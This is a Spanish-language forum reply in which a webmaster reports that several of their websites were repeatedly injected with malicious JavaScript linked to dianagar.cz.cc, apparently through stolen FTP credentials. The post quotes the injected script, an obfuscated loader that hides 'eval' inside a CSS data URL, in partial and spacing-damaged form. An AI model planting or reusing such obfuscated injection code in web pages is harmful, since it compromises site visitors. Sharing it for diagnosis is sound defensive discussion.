 Respuesta: Pagina web infectada con dianagar.cz.cc ?!
A mi tambien me ha ocurrido en tres paginas webs que tengo a mi cargo en diferentes servidores (arsys, 1&1) y diferentes sistemas (wordpress y paginas hechas a mano).
El codigo infecta toda pagina que se llame index, header, footer.
El codigo es el siguiente...
<script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isI E)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName(" head")[0].appendChild(style_node);if(isIE&&document.styleSh eets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last _style_node.addRule(selector,declaration);}};creat eCSS('#c0','background:url(data:,eval)');var hm=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var iix=r[i].cssRules||r[i].rules;for(var xoyy=0;xoyy<iix.length;xoyy++){var kba=iix.item?iix.item(xoyy):iix[xoyy];if(!kba.selectorText.match(/#c(\d+)/))continue;hm=kba.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];};}catch(e){};}

Yo no entiendo como es posible que lo hayan hecho.
Incluso e estado cambiando una primera web pero a la hora o asi se a vuelto a reescribir el codigo. He tenido que cambiar el password del servidor FTP y ya no a vuelto a ocurrir. En los otros servidores no puedo cambiar la password porke no tengo acceso al panel de control... veremos si mañana no se a vuelto a reproducir el codigo malicioso.
¿COMO ES POSIBLE?
Si alguien a modificado el codigo es porque a tenido acceso al servidor FTP no?
A mi solo se me ocurren dos posibilidades...
- Que a los que nos haya pasado tengamos algun virus o keylogger y nos han cogido las contraseñas.
- Que servidores como 1&1 o Arsys esten infectados de algo... cosa que me parece extraña.
¿Que a podido suceder? ¿Teneis alguna idea? |
